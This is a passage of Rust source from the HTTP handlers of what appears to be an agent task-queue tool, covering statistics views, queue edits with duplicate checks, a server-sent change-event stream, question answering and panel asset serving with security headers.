4487#[derive(Debug, Serialize)]
4493struct AdvisorStatsView {
4494 agent: String,
4495 seated: usize,
4496 proposed: usize,
4497 absent: usize,
4498 faint: usize,
4499 strong: usize,
4500 reflection_rate: Option<RateView>,
4501}
4502
4503impl From<&stats::AdvisorStats> for AdvisorStatsView {
4504 fn from(a: &stats::AdvisorStats) -> Self {
4505 Self {
4506 agent: a.agent.clone(),
4507 seated: a.seated,
4508 proposed: a.proposed,
4509 absent: a.absent,
4510 faint: a.faint,
4511 strong: a.strong,
4512 reflection_rate: RateView::of(a.strong, a.proposed),
4513 }
4514 }
4515}
4516
4517#[derive(Debug, Serialize)]
4519struct E2eStatsView {
4520 rounds: usize,
4521 failures: usize,
4522 sole_detections: usize,
4523 deferred: usize,
4524 sole_rate: Option<RateView>,
4525}
4526
4527impl From<&stats::E2eStats> for E2eStatsView {
4528 fn from(e: &stats::E2eStats) -> Self {
4529 Self {
4530 rounds: e.rounds,
4531 failures: e.failures,
4532 sole_detections: e.sole_detections,
4533 deferred: e.deferred,
4534 sole_rate: RateView::of(e.sole_detections, e.failures),
4535 }
4536 }
4537}
4538
4539#[derive(Debug, Serialize)]
4547struct ReleaseBumpStatsView {
4548 merged: usize,
4549 recorded: usize,
4550 pr_opened: usize,
4551 automerge_enabled: usize,
4552 merged_directly: usize,
4553 needs_attention: usize,
4554 clean: usize,
4555 coverage_rate: Option<RateView>,
4556 automerge_rate: Option<RateView>,
4557 attention_rate: Option<RateView>,
4558}
4559
4560impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4561 fn from(b: &stats::ReleaseBumpStats) -> Self {
4562 Self {
4563 merged: b.merged,
4564 recorded: b.recorded,
4565 pr_opened: b.pr_opened,
4566 automerge_enabled: b.automerge_enabled,
4567 merged_directly: b.merged_directly,
4568 needs_attention: b.needs_attention,
4569 clean: b.clean(),
4570 coverage_rate: RateView::of(b.recorded, b.merged),
4571 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4572 attention_rate: RateView::of(b.needs_attention, b.recorded),
4573 }
4574 }
4575}
4576
4577#[derive(Debug, Serialize)]
4579struct TaskCountsView {
4580 queued: usize,
4581 running: usize,
4582 done: usize,
4583 failed: usize,
4584 held: usize,
4585 blocked: usize,
4586}
4587
4588impl From<crate::queue::TaskCounts> for TaskCountsView {
4589 fn from(c: crate::queue::TaskCounts) -> Self {
4590 Self {
4591 queued: c.queued,
4592 running: c.running,
4593 done: c.done,
4594 failed: c.failed,
4595 held: c.held,
4596 blocked: c.blocked,
4597 }
4598 }
4599}
4600
4601#[derive(Debug, Serialize)]
4607struct RepoSummaryView {
4608 repo: String,
4611 name: String,
4613 runs: usize,
4614 completion_rate: Option<RateView>,
4615}
4616
4617impl From<&stats::RepoStats> for RepoSummaryView {
4618 fn from(r: &stats::RepoStats) -> Self {
4619 let t = &r.stats.totals;
4620 Self {
4621 repo: r.repo.to_string_lossy().into_owned(),
4622 name: r.name.clone(),
4623 runs: t.runs,
4624 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4625 }
4626 }
4627}
4628
4629#[derive(Debug, Serialize)]
4635struct StatsView {
4636 totals: StatsTotalsView,
4637 agents: Vec<AgentStatsView>,
4639 reviewers: Vec<ReviewerStatsView>,
4641 advisors: Vec<AdvisorStatsView>,
4643 e2e: E2eStatsView,
4644 release_bumps: ReleaseBumpStatsView,
4645 queue: TaskCountsView,
4646 runs_unreadable: usize,
4656 repos: Vec<RepoSummaryView>,
4660 daily: Vec<DailyStatsView>,
4665 repo: Option<String>,
4669}
4670
4671#[derive(Debug, Serialize)]
4673struct DailyStatsView {
4674 date: String,
4676 runs: usize,
4677 merged: usize,
4678 ready: usize,
4679 other: usize,
4680 completion_rate: Option<RateView>,
4682}
4683
4684impl From<&stats::DayBucket> for DailyStatsView {
4685 fn from(b: &stats::DayBucket) -> Self {
4686 Self {
4687 date: b.date.to_string(),
4688 runs: b.runs,
4689 merged: b.merged,
4690 ready: b.ready,
4691 other: b.other,
4692 completion_rate: RateView::of(b.merged + b.ready, b.runs),
4693 }
4694 }
4695}
4696
4697const STATS_DAILY_DAYS: usize = 30;
4699
4700#[derive(Debug, Default, Deserialize)]
4709#[serde(default)]
4710struct StatsQuery {
4711 repo: Option<String>,
4712}
4713
4714async fn stats_get(
4721 State(ui): State<Arc<Ui>>,
4722 Query(q): Query<StatsQuery>,
4723) -> ApiResult<Json<StatsView>> {
4724 blocking(move || {
4725 let states: Vec<RunState> = run_ids(&ui.runs)
4726 .into_iter()
4727 .filter_map(|id| read_run(&ui.runs, &id).ok())
4728 .collect();
4729 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4730 .iter()
4731 .map(RepoSummaryView::from)
4732 .collect();
4733 let mut scoped: Vec<&RunState> = states.iter().collect();
4734 let collected = match &q.repo {
4735 Some(repo) => {
4736 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4737 if filtered.is_empty() {
4738 return Err(ApiError::not_found(format!(
4739 "no runs recorded against repo `{repo}`"
4740 )));
4741 }
4742 scoped = filtered.clone();
4743 stats::collect_refs(filtered)
4744 }
4745 None => stats::collect(&states),
4746 };
4747 let daily = stats::daily(
4748 scoped,
4749 jiff::Zoned::now().date(),
4750 &jiff::tz::TimeZone::system(),
4751 STATS_DAILY_DAYS,
4752 );
4753 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4754 Ok(Json(StatsView {
4755 totals: StatsTotalsView::from(&collected.totals),
4756 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4757 reviewers: collected
4758 .reviewers
4759 .iter()
4760 .map(ReviewerStatsView::from)
4761 .collect(),
4762 advisors: collected
4763 .advisors
4764 .iter()
4765 .map(AdvisorStatsView::from)
4766 .collect(),
4767 e2e: E2eStatsView::from(&collected.e2e),
4768 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4769 queue: TaskCountsView::from(queue_counts),
4770 runs_unreadable: runs_unreadable(&ui.runs),
4771 repos,
4772 daily: daily.iter().map(DailyStatsView::from).collect(),
4773 repo: q.repo.clone(),
4774 }))
4775 })
4776 .await
4777}
4778
4779#[derive(Debug, Default, Deserialize)]
4782#[serde(default, deny_unknown_fields)]
4783struct HoldBody {
4784 reason: Option<String>,
4785}
4786
4787async fn queue_hold(
4788 State(ui): State<Arc<Ui>>,
4789 Path(id): Path<String>,
4790 body: std::result::Result<Json<HoldBody>, JsonRejection>,
4791) -> ApiResult<Json<TaskView>> {
4792 let body = match body {
4796 Ok(Json(body)) => body,
4797 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4798 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4799 };
4800 let reason = body.reason.filter(|r| !r.trim().is_empty());
4801 mutate(ui, id, move |t| {
4802 t.hold_manual(reason.clone());
4803 Ok(())
4804 })
4805 .await
4806}
4807
4808async fn queue_release(
4809 State(ui): State<Arc<Ui>>,
4810 Path(id): Path<String>,
4811) -> ApiResult<Json<TaskView>> {
4812 mutate(ui, id, |t| {
4813 t.release();
4814 Ok(())
4815 })
4816 .await
4817}
4818
4819#[derive(Debug, Deserialize)]
4821#[serde(deny_unknown_fields)]
4822struct PriorityBody {
4823 priority: i32,
4824}
4825
4826async fn queue_priority(
4832 State(ui): State<Arc<Ui>>,
4833 Path(id): Path<String>,
4834 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4835) -> ApiResult<Json<TaskView>> {
4836 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4837 mutate(ui, id, move |t| t.set_priority(body.priority)).await
4838}
4839
4840#[derive(Debug, Deserialize)]
4842#[serde(deny_unknown_fields)]
4843struct EditBody {
4844 title: String,
4845 instruction: String,
4846 #[serde(default)]
4849 force: bool,
4850}
4851
4852async fn queue_edit(
4856 State(ui): State<Arc<Ui>>,
4857 Path(id): Path<String>,
4858 body: std::result::Result<Json<EditBody>, JsonRejection>,
4859) -> ApiResult<Json<TaskView>> {
4860 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4861 let mut judged: Option<(String, PathBuf)> = None;
4865 if !body.force {
4866 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
4867 let (id, text) = (id.clone(), body.instruction.clone());
4868 let (seen, hits) = blocking(move || {
4869 let id = resolve_task(&queue, &id)?;
4870 let t = queue.get(&id)?;
4871 if text == t.instruction {
4872 return Ok((None, Vec::new()));
4873 }
4874 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
4875 Ok((Some((t.instruction, t.repo)), hits))
4876 })
4877 .await?;
4878 if let Some((_, repo)) = &seen {
4879 let cfg = crate::config::Config::discover(repo, None)
4880 .ok()
4881 .map(|(c, _)| c);
4882 let screened =
4883 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
4884 .await
4885 .map_err(|dup| {
4886 ApiError::conflict(dup.render(
4887 "Nothing was saved. If it is not a duplicate, repeat the request \
4888 with \"force\": true.",
4889 ))
4890 })?;
4891 if let crate::dupes::Screened::Unjudged(why) = screened {
4892 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
4893 }
4894 }
4895 judged = seen;
4896 }
4897 let force = body.force;
4898 mutate(ui, id, move |t| {
4899 if !force && body.instruction != t.instruction {
4900 match &judged {
4901 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
4902 _ => {
4903 anyhow::bail!("the task changed while it was being checked; repeat the request")
4904 }
4905 }
4906 }
4907 t.edit(body.title.clone(), body.instruction.clone())
4908 })
4909 .await
4910}
4911
4912async fn queue_done(
4920 State(ui): State<Arc<Ui>>,
4921 Path(id): Path<String>,
4922) -> ApiResult<Json<TaskView>> {
4923 let home = ui.home.clone();
4924 mutate(ui, id, move |t| {
4925 t.succeed();
4926 crate::daemon::supersede_prior_runs(t, &home);
4934 Ok(())
4935 })
4936 .await
4937}
4938
4939async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4947 blocking(move || {
4948 let id = resolve_task(&ui.queue, &id)?;
4949 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
4950 ui.queue
4951 .remove(&id, in_flight, &ui.questions)
4952 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4953 Ok(StatusCode::NO_CONTENT)
4954 })
4955 .await
4956}
4957
4958async fn mutate(
4967 ui: Arc<Ui>,
4968 id: String,
4969 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
4970) -> ApiResult<Json<TaskView>> {
4971 blocking(move || {
4972 let id = resolve_task(&ui.queue, &id)?;
4973 let _claim = ui.queue.claim(&id).map_err(|e| {
4978 ApiError::conflict(format!(
4979 "{e:#} - a daemon is running this task, so it cannot be \
4980 changed from here yet"
4981 ))
4982 })?;
4983 let mut task = ui.queue.get(&id)?;
4984 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
4985 Ok(dup) => ApiError::conflict(dup.render(
4986 "Nothing was saved. If it is not a duplicate, repeat the request with \
4987 \"force\": true.",
4988 )),
4989 Err(e) => ApiError::bad_request_from(e),
4990 })?;
4991 ui.queue.put(&mut task)?;
4992 Ok(Json(TaskView::from(task)))
4993 })
4994 .await
4995}
4996
4997async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5005 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5006 tokio::spawn(async move {
5007 let mut ticker = tokio::time::interval(POLL);
5008 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5009 let mut stamps: Option<[Stamps; 3]> = None;
5010 loop {
5011 ticker.tick().await;
5014 let state = Arc::clone(&ui);
5015 let revisions = tokio::task::spawn_blocking(move || {
5016 let stamps = [
5017 store_stamps(state.queue.root(), false),
5018 store_stamps(&state.runs, true),
5019 store_stamps(state.talks.root(), false),
5020 ];
5021 let revisions = (
5022 stamps_revision(&stamps[0]),
5023 stamps_revision(&stamps[1]),
5024 state.questions.revision(),
5025 stamps_revision(&stamps[2]),
5026 state.notices.revision(),
5027 state.lock_loop().rev,
5031 );
5032 (revisions, stamps)
5033 })
5034 .await;
5035 let Ok((revisions, next_stamps)) = revisions else {
5036 break;
5037 };
5038 if last == Some(revisions) {
5039 continue;
5040 }
5041 let mut payload = serde_json::json!({
5042 "queue_rev": revisions.0,
5043 "runs_rev": revisions.1,
5044 "questions_rev": revisions.2,
5045 "talks_rev": revisions.3,
5046 "notifications_rev": revisions.4,
5047 "loop_rev": revisions.5,
5048 });
5049 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5050 for (index, (key, rev)) in [
5051 ("queue_delta", base.0),
5052 ("runs_delta", base.1),
5053 ("talks_delta", base.3),
5054 ]
5055 .into_iter()
5056 .enumerate()
5057 {
5058 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5059 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5061 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5062 }
5063 }
5064 }
5065 last = Some(revisions);
5066 stamps = Some(next_stamps);
5067 let Ok(event) = Event::default().event("change").json_data(payload) else {
5069 break;
5070 };
5071 if tx.send(event).await.is_err() {
5072 break;
5073 }
5074 }
5075 });
5076 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5077 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5078}
5079
5080type Stamps = HashMap<String, (u128, u64)>;
5081
5082fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5084 std::fs::read_dir(root)
5085 .into_iter()
5086 .flatten()
5087 .flatten()
5088 .filter_map(|entry| {
5089 let path = if runs {
5090 entry.path().join("run.json")
5091 } else {
5092 entry.path()
5093 };
5094 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5095 return None;
5096 }
5097 let metadata = path.metadata().ok()?;
5098 let modified = metadata
5099 .modified()
5100 .ok()?
5101 .duration_since(std::time::UNIX_EPOCH)
5102 .ok()?;
5103 let id = if runs {
5104 entry.file_name().to_string_lossy().into_owned()
5105 } else {
5106 path.file_stem()?.to_string_lossy().into_owned()
5107 };
5108 Some((id, (modified.as_nanos(), metadata.len())))
5109 })
5110 .collect()
5111}
5112
5113#[derive(Debug, Serialize)]
5114struct Delta {
5115 base: u64,
5116 changed: Vec<String>,
5117 removed: Vec<String>,
5118}
5119
5120fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5121 let mut changed: Vec<_> = next
5122 .iter()
5123 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5124 .map(|(id, _)| id.clone())
5125 .collect();
5126 let mut removed: Vec<_> = previous
5127 .keys()
5128 .filter(|id| !next.contains_key(*id))
5129 .cloned()
5130 .collect();
5131 changed.sort_unstable();
5132 removed.sort_unstable();
5133 Delta {
5134 base,
5135 changed,
5136 removed,
5137 }
5138}
5139
5140fn runs_revision(runs: &FsPath) -> u64 {
5147 stamps_revision(&store_stamps(runs, true))
5148}
5149
5150fn stamps_revision(stamps: &Stamps) -> u64 {
5154 use std::hash::{Hash as _, Hasher as _};
5155 if stamps.is_empty() {
5156 return 0;
5157 }
5158 let mut entries: Vec<_> = stamps.iter().collect();
5159 entries.sort_unstable();
5160 let mut hasher = std::hash::DefaultHasher::new();
5161 entries.hash(&mut hasher);
5162 hasher.finish().max(1)
5163}
5164
5165fn run_ids(runs: &FsPath) -> Vec<String> {
5171 let mut ids: Vec<String> = std::fs::read_dir(runs)
5172 .into_iter()
5173 .flatten()
5174 .flatten()
5175 .filter(|e| e.path().join("run.json").is_file())
5176 .map(|e| e.file_name().to_string_lossy().into_owned())
5177 .collect();
5178 ids.sort_unstable_by(|a, b| b.cmp(a));
5180 ids
5181}
5182
5183fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5185 let path = runs.join(id).join("run.json");
5186 let body =
5187 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5188 let state: RunState =
5189 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5190 run::migrate_schema(state)
5195}
5196
5197#[must_use]
5205pub fn runs_unreadable(runs: &FsPath) -> usize {
5206 run_ids(runs)
5207 .into_iter()
5208 .filter(|id| read_run(runs, id).is_err())
5209 .count()
5210}
5211
5212fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5214 if runs.join(id).join("run.json").is_file() {
5215 return Ok(id.to_owned());
5216 }
5217 pick(run_ids(runs), id, "run")
5218}
5219
5220fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5222 if queue.path_of(id).is_file() {
5223 return Ok(id.to_owned());
5224 }
5225 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5226}
5227
5228#[derive(Debug, Serialize)]
5239struct QuestionView {
5240 #[serde(flatten)]
5241 question: Question,
5242 detail_md: Vec<md::Node>,
5243 thread_bodies_md: Vec<Vec<md::Node>>,
5245 thread_notes_md: Vec<Option<Vec<md::Node>>>,
5248 waiting_on_agent: bool,
5258 holder: Option<&'static str>,
5262 deputies_enabled: bool,
5266 run_is_task: bool,
5269 origin_chat: Option<String>,
5274}
5275
5276impl QuestionView {
5277 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5281 let base = md::ImageBase::QuestionPanel {
5282 id: question.id.clone(),
5283 };
5284 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5285 Self {
5286 detail_md: md::to_nodes(&question.detail, &base),
5287 thread_bodies_md: question
5288 .thread
5289 .iter()
5290 .map(|t| md::to_nodes(&t.body, &base))
5291 .collect(),
5292 thread_notes_md: question
5293 .thread
5294 .iter()
5295 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5296 .collect(),
5297 waiting_on_agent: question.waiting_on_agent(),
5298 holder,
5299 deputies_enabled,
5300 run_is_task: question.run_names_task(),
5301 origin_chat: None,
5302 question,
5303 }
5304 }
5305
5306 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5308 self.origin_chat = crate::consult::origin_talk(tasks, talks, &self.question).map(|t| t.id);
5309 self
5310 }
5311}
5312
5313fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5317 Config::discover(repo, None).ok().map(|(c, _)| c)
5318}
5319
5320fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5322 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5323}
5324
5325fn question_views(
5328 qs: Vec<Question>,
5329 store: &ask::Questions,
5330 load: impl FnOnce() -> Option<Config>,
5331) -> Vec<QuestionView> {
5332 if qs.is_empty() {
5333 return Vec::new();
5334 }
5335 let cfg = load();
5336 qs.into_iter()
5337 .map(|q| {
5338 let on = deputies_enabled(cfg.as_ref(), &q);
5339 QuestionView::of(q, store, on)
5340 })
5341 .collect()
5342}
5343
5344fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5354 if !q.status.open() {
5355 return None;
5356 }
5357 if q.cwd.is_none() && q.deputy.is_none() {
5358 return crate::deputy::kind_of(q).map(|_| "nobody");
5359 }
5360 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5361 Some(_) if q.deputy.is_some() => "deputy",
5362 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5363 Some(_) => "asker",
5364 None => "nobody",
5365 })
5366}
5367
5368async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5374 blocking(move || {
5375 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5376 Ok(Json(
5377 question_views(ui.questions.list(), &ui.questions, || {
5378 deputy_config(&ui.repo)
5379 })
5380 .into_iter()
5381 .map(|v| v.with_origin(&tasks, &talks))
5382 .collect(),
5383 ))
5384 })
5385 .await
5386}
5387
5388async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5391 blocking(move || {
5392 let items = ui.notices.list();
5393 let unread = items.iter().filter(|n| n.unread()).count();
5394 Ok(Json(
5395 serde_json::json!({ "unread": unread, "items": items }),
5396 ))
5397 })
5398 .await
5399}
5400
5401fn notice_error(e: anyhow::Error) -> ApiError {
5402 ApiError::not_found(format!("{e:#}"))
5405}
5406
5407async fn notification_read(
5409 State(ui): State<Arc<Ui>>,
5410 Path(id): Path<String>,
5411) -> ApiResult<Json<Notice>> {
5412 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5413}
5414
5415async fn notification_dismiss(
5417 State(ui): State<Arc<Ui>>,
5418 Path(id): Path<String>,
5419) -> ApiResult<Json<Notice>> {
5420 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5421}
5422
5423async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5425 blocking(move || {
5426 let changed = ui.notices.mark_all_read()?;
5427 Ok(Json(serde_json::json!({ "marked": changed })))
5428 })
5429 .await
5430}
5431
5432#[derive(Debug, Default, Deserialize)]
5438#[serde(default, deny_unknown_fields)]
5439struct NewAnswer {
5440 choice: Option<String>,
5441 text: Option<String>,
5442}
5443
5444async fn question_answer(
5445 State(ui): State<Arc<Ui>>,
5446 Path(id): Path<String>,
5447 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5448) -> ApiResult<Json<QuestionView>> {
5449 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5450 let answer = match (body.choice, body.text) {
5451 (Some(c), None) => Answer::Choice(c),
5452 (None, Some(t)) => Answer::Text(t),
5453 (Some(_), Some(_)) => {
5454 return Err(ApiError::bad_request(
5455 "send either `choice` or `text`, not both",
5456 ));
5457 }
5458 (None, None) => {
5459 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5460 }
5461 };
5462
5463 blocking(move || {
5464 let id = resolve_question(&ui.questions, &id)?;
5465 let q = ui
5466 .questions
5467 .get(&id)
5468 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5469 if !q.status.open() {
5470 return Err(ApiError::conflict(format!(
5474 "question {} is already {}",
5475 q.short(),
5476 q.status.as_str()
5477 )));
5478 }
5479 let (q, ()) = ui
5483 .questions
5484 .update(&q.id, |r| r.answer(answer))
5485 .map_err(ApiError::bad_request_from)?;
5486 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5487 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5488 Ok(Json(
5489 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5490 ))
5491 })
5492 .await
5493}
5494
5495#[derive(Debug, Deserialize)]
5497#[serde(deny_unknown_fields)]
5498struct NewSay {
5499 body: String,
5500}
5501
5502async fn question_say(
5512 State(ui): State<Arc<Ui>>,
5513 Path(id): Path<String>,
5514 body: std::result::Result<Json<NewSay>, JsonRejection>,
5515) -> ApiResult<Json<QuestionView>> {
5516 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5517 blocking(move || {
5518 let id = resolve_question(&ui.questions, &id)?;
5519 let q = ui
5520 .questions
5521 .get(&id)
5522 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5523 if !q.status.open() {
5524 return Err(ApiError::conflict(format!(
5528 "question {} is already {}",
5529 q.short(),
5530 q.status.as_str()
5531 )));
5532 }
5533 let (q, ()) = ui
5536 .questions
5537 .update(&q.id, |r| r.say(body.body))
5538 .map_err(ApiError::bad_request_from)?;
5539 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5540 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5541 Ok(Json(
5542 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5543 ))
5544 })
5545 .await
5546}
5547
5548async fn question_consult(
5557 State(ui): State<Arc<Ui>>,
5558 Path(id): Path<String>,
5559) -> ApiResult<(StatusCode, Json<QuestionView>)> {
5560 let (view, reclaimed) = blocking({
5561 let ui = Arc::clone(&ui);
5562 move || {
5563 let id = resolve_question(&ui.questions, &id)?;
5564 let q = ui
5565 .questions
5566 .get(&id)
5567 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5568 if !q.status.open() {
5569 return Err(ApiError::conflict(format!(
5570 "question {} is already {}",
5571 q.short(),
5572 q.status.as_str()
5573 )));
5574 }
5575 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5576 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
5577 return Err(ApiError::conflict(format!(
5578 "question {} has no open chat to ask",
5579 q.short()
5580 )));
5581 };
5582 let cfg = if q.consult.is_none() {
5586 Some(Config::discover(&talk.repo, None)?.0)
5587 } else {
5588 None
5589 };
5590 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
5591 let claim = if fresh {
5592 match ui.begin_queued_talk_turn(&talk.id)? {
5593 Some(turn_guard) => {
5594 let talk = ui.talks.get(&talk.id)?;
5595 let cfg = match cfg {
5596 Some(cfg) => cfg,
5597 None => Config::discover(&talk.repo, None)?.0,
5598 };
5599 Some((talk, cfg, turn_guard))
5600 }
5601 None => None,
5602 }
5603 } else {
5604 None
5605 };
5606 let q = ui.questions.get(&q.id)?;
5607 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5608 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
5609 Ok((view, claim))
5610 }
5611 })
5612 .await?;
5613 if let Some((talk, cfg, turn_guard)) = reclaimed {
5614 let talks = ui.talks.clone();
5615 let id = talk.id.clone();
5616 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5617 }
5618 Ok((StatusCode::ACCEPTED, Json(view)))
5619}
5620
5621fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5623 if store.path_of(id).is_file() {
5624 return Ok(id.to_owned());
5625 }
5626 pick(
5627 store.list().into_iter().map(|q| q.id).collect(),
5628 id,
5629 "question",
5630 )
5631}
5632
5633async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5648 blocking(move || {
5649 let id = resolve_question(&ui.questions, &id)?;
5650 let Some(html) = ui.questions.panel_html(&id) else {
5651 return Err(ApiError::not_found(format!("question {id} has no panel")));
5652 };
5653 Ok(panel_response(
5654 "text/html; charset=utf-8",
5655 false,
5656 html.into_bytes(),
5657 ))
5658 })
5659 .await
5660}
5661
5662async fn question_asset(
5690 State(ui): State<Arc<Ui>>,
5691 Path((id, name)): Path<(String, String)>,
5692) -> ApiResult<Response> {
5693 if !crate::ask::valid_asset_name(&name) {
5696 return Err(ApiError::bad_request(format!(
5697 "`{name}` is not a usable asset name"
5698 )));
5699 }
5700 blocking(move || {
5701 let id = resolve_question(&ui.questions, &id)?;
5702 let asset = ui
5703 .questions
5704 .panel_asset(&id, &name)
5705 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5706 let Some(bytes) = asset else {
5707 return Err(ApiError::not_found(format!(
5708 "question {id} has no asset `{name}`"
5709 )));
5710 };
5711 Ok(panel_response(
5712 asset_content_type(&name),
5713 is_svg(&name),
5714 bytes,
5715 ))
5716 })
5717 .await
5718}
5719
5720fn asset_content_type(name: &str) -> &'static str {
5733 match extension(name).as_deref() {
5734 Some("png") => "image/png",
5735 Some("jpg" | "jpeg") => "image/jpeg",
5736 Some("gif") => "image/gif",
5737 Some("webp") => "image/webp",
5738 Some("svg") => "image/svg+xml",
5739 Some("css") => "text/css; charset=utf-8",
5740 Some("txt") => "text/plain; charset=utf-8",
5741 _ => "application/octet-stream",
5742 }
5743}
5744
5745fn is_svg(name: &str) -> bool {
5748 extension(name).as_deref() == Some("svg")
5749}
5750
5751fn extension(name: &str) -> Option<String> {
5753 name.rsplit_once('.')
5754 .map(|(_, ext)| ext.to_ascii_lowercase())
5755}
5756
5757fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5774 let mut res = (
5775 [
5776 (header::CONTENT_TYPE, content_type),
5777 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5778 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5779 (header::REFERRER_POLICY, "no-referrer"),
5780 ],
5781 body,
5782 )
5783 .into_response();
5784 if download {
5785 res.headers_mut().insert(
5786 header::CONTENT_DISPOSITION,
5787 HeaderValue::from_static("attachment"),
5788 );
5789 }
5790 res
5791}
5792
5793#[derive(Debug, Serialize)]
5799struct TalkView {
5800 #[serde(flatten)]
5801 talk: Talk,
5802 turn_bodies_md: Vec<Vec<md::Node>>,
5803 thinking: bool,
5811 context: talk::ContextUsage,
5815}
5816
5817impl TalkView {
5818 fn new(talk: Talk, thinking: bool) -> Self {
5821 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5822 Self::with_config(talk, thinking, cfg.as_ref())
5823 }
5824
5825 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5828 let context = talk::context_usage(&talk, cfg);
5829 let turn_bodies_md = talk
5830 .turns
5831 .iter()
5832 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5833 .collect();
5834 Self {
5835 turn_bodies_md,
5836 thinking,
5837 context,
5838 talk,
5839 }
5840 }
5841}
5842
5843#[derive(Debug, Serialize)]
5848struct TalkDetailView {
5849 #[serde(flatten)]
5850 view: TalkView,
5851 tasks: Vec<TaskView>,
5852 roster: Vec<RosterEntry>,
5855}
5856
5857#[derive(Debug, Serialize)]
5859struct RosterEntry {
5860 id: String,
5861 kind: AgentKind,
5862 runnable: bool,
5864}
5865
5866async fn talks_list(
5871 State(ui): State<Arc<Ui>>,
5872 Query(q): Query<ListQuery>,
5873) -> ApiResult<Json<Vec<TalkView>>> {
